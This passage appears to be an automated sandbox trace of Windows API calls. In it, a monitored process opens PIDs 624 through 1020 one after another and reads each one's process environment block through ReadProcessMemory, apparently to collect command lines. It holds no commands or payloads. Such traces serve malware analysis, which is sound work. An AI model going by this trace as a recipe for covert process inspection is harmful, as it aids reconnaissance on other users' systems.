lpBuffer=0x196ef0fbf90*, lpNumberOfBytesRead=0x0) returned 1 [0268.711] free (_Block=0x196ef0fbf90) [0268.712] CloseHandle (hObject=0x464) returned 1 [0268.713] _ui64tow_s (in: _Value=0x270, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="624") returned 0x0 [0268.724] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="624") returned 3 [0268.725] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0268.725] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0268.743] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x270) returned 0x464 [0268.743] GetLastError () returned 0x0 [0268.744] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0268.744] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4bd4bbe018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0268.744] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0268.744] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x218a64033e0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0268.744] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x218a6403048, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0268.745] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0268.747] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0268.747] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4bd4bbe020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0268.747] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x218a6402a30, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0268.747] malloc (_Size=0x5e) returned 0x196ef0d0610 [0268.747] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x218a6403088, lpBuffer=0x196ef0d0610, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0610*, lpNumberOfBytesRead=0x0) returned 1 [0268.748] free (_Block=0x196ef0d0610) [0268.749] CloseHandle (hObject=0x464) returned 1 [0268.749] _ui64tow_s (in: _Value=0x290, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="656") returned 0x0 [0268.755] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="656") returned 3 [0268.756] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0268.756] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0268.779] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x290) returned 0x464 [0268.779] GetLastError () returned 0x0 [0268.780] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0268.780] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xeb3c623018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0268.780] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0268.780] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x22b56103450, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0268.780] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x22b561030c8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0268.781] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0268.783] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0268.783] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xeb3c623020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0268.783] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x22b56102ab0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0268.783] malloc (_Size=0x54) returned 0x196ef0facf0 [0268.783] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x22b56103108, lpBuffer=0x196ef0facf0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0facf0*, lpNumberOfBytesRead=0x0) returned 1 [0268.784] free (_Block=0x196ef0facf0) [0268.785] CloseHandle (hObject=0x464) returned 1 [0268.785] _ui64tow_s (in: _Value=0x328, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="808") returned 0x0 [0268.791] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="808") returned 3 [0268.793] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0268.793] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0268.813] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x328) returned 0x464 [0268.813] GetLastError () returned 0x0 [0268.813] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0268.813] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x68a768d018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0268.813] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0268.814] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20fc12119f0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0268.814] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20fc12116e8, lpBuffer=0x670f7c2b0, nSize=0x38, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0268.815] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0268.817] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0268.817] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x68a768d020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0268.817] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20fc12110d0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0268.817] malloc (_Size=0x16) returned 0x196ef0d1a80 [0268.817] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x20fc1211720, lpBuffer=0x196ef0d1a80, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d1a80*, lpNumberOfBytesRead=0x0) returned 1 [0268.817] free (_Block=0x196ef0d1a80) [0268.818] CloseHandle (hObject=0x464) returned 1 [0268.818] _ui64tow_s (in: _Value=0x358, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="856") returned 0x0 [0268.822] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="856") returned 3 [0268.823] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0268.824] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0268.841] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x358) returned 0x464 [0268.841] GetLastError () returned 0x0 [0268.841] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0268.842] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xe58887a018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0268.842] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0268.842] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28611e033e0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0268.842] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28611e03048, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0268.843] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0268.845] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0268.845] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xe58887a020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0268.845] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28611e02a30, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0268.845] malloc (_Size=0x58) returned 0x196ef0fa630 [0268.845] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28611e03088, lpBuffer=0x196ef0fa630, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa630*, lpNumberOfBytesRead=0x0) returned 1 [0268.846] free (_Block=0x196ef0fa630) [0268.847] CloseHandle (hObject=0x464) returned 1 [0268.847] _ui64tow_s (in: _Value=0x368, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="872") returned 0x0 [0268.852] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="872") returned 3 [0268.853] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0268.853] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0268.877] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x368) returned 0x464 [0268.877] GetLastError () returned 0x0 [0268.877] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0268.877] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xb23a8e3018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0268.878] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0268.878] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x25329703480, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0268.878] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x253297030d8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0268.879] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0268.880] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0268.880] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xb23a8e3020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0268.881] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x25329702ac0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0268.881] malloc (_Size=0x74) returned 0x196ef0d2120 [0268.881] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x25329703118, lpBuffer=0x196ef0d2120, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0268.881] free (_Block=0x196ef0d2120) [0268.882] CloseHandle (hObject=0x464) returned 1 [0268.883] _ui64tow_s (in: _Value=0x38c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="908") returned 0x0 [0268.887] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="908") returned 3 [0268.888] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0268.888] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0268.917] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x38c) returned 0x464 [0268.917] GetLastError () returned 0x0 [0268.918] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0268.918] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x849e247018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0268.918] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0268.918] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a5e3103490, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0268.919] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a5e31030d8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0268.920] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0268.921] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0268.921] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x849e247020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0268.921] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a5e3102ac0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0268.921] malloc (_Size=0x84) returned 0x196ef101190 [0268.921] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a5e3103118, lpBuffer=0x196ef101190, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef101190*, lpNumberOfBytesRead=0x0) returned 1 [0268.922] free (_Block=0x196ef101190) [0268.923] CloseHandle (hObject=0x464) returned 1 [0268.924] _ui64tow_s (in: _Value=0x39c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="924") returned 0x0 [0268.929] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="924") returned 3 [0268.930] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0268.930] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0268.948] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x39c) returned 0x464 [0268.948] GetLastError () returned 0x0 [0268.949] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0268.949] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xd3ae96018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0268.956] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0268.956] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e9d3f03490, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0268.956] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e9d3f030d8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0268.958] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0268.959] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0268.959] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xd3ae96020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0268.959] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e9d3f02ac0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0268.960] malloc (_Size=0x86) returned 0x196ef1009b0 [0268.960] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1e9d3f03118, lpBuffer=0x196ef1009b0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef1009b0*, lpNumberOfBytesRead=0x0) returned 1 [0268.960] free (_Block=0x196ef1009b0) [0268.961] CloseHandle (hObject=0x464) returned 1 [0268.962] _ui64tow_s (in: _Value=0x3fc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1020") returned 0x0 [0268.967] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1020") returned 4 [0268.969] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0268.969] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0268.991] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3fc) returned 0x464 [0268.991] GetLastError () returned 0x0 [0268.992] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0268.992] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x71b3034018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0268.992] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0268.992] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x26426003470, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0268.993] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x264260030d8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0268.994] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0268.996] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0268.997] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x71b3034020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0268.997] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x26426002ac0, 